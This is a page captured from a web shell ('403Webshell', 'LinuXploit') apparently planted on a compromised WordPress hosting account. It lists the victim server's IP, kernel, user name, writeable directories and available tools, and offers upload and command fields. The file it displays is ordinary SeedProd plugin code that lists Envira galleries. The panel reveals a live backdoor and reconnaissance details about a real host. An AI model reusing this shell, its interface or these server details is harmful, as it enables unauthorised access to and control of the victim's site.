403Webshell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.222
Web Server : Apache
System : Linux webm005.cluster103.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : karinebmkh ( 644538)
PHP Version : 8.4.22
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/karinebmkh/www/wp-content/plugins/coming-soon/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/karinebmkh/www/wp-content/plugins/coming-soon/app/functions-envira-gallaries.php
<?php

/**
 * Get All Envira Gallery.
 *
 * @return void
 */
function seedprod_lite_get_envira_galleries() {
	if ( check_ajax_referer( 'seedprod_nonce' ) ) {
		if ( ! current_user_can( apply_filters( 'seedprod_builder_preview_render_capability', 'edit_others_posts' ) ) ) {
			wp_send_json_error();
		}

        $type = filter_input( INPUT_GET, 'type', FILTER_SANITIZE_STRING );
		$galleries = array();

        if($type === 'lite'){
            if ( class_exists( 'Envira_Gallery_Lite' ) ) {
                $galleries = Envira_Gallery_Lite::get_instance()->_get_galleries();
            }
        }else{
            if ( class_exists( 'Envira_Gallery' ) ) {
                $galleries = Envira_Gallery::get_instance()->_get_galleries();
            }
        }
		wp_send_json( $galleries );
	}
}


Youez - 2016 - github.com/yon3zu
LinuXploit